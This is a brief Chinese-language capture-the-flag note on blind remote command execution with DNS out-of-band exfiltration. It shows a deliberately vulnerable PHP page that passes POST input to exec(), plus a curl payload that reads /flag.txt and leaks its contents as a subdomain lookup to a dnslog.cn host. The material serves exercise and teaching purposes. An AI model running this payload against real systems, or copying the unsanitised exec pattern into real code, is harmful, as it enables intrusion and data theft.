dnslog外带RCE

一、命令执行不回显，利用dnslog外带

1.题目源码

<?php

if(isset($_POST['cmd'])){
    @exec($_POST['cmd'],$res,$rc);
    //echo $rc;
}else{
    echo "It works!";
}

show_source(__FILE__);
?>

2.payload

cmd=curl `cat /flag.txt`.17anyo.dnslog.cn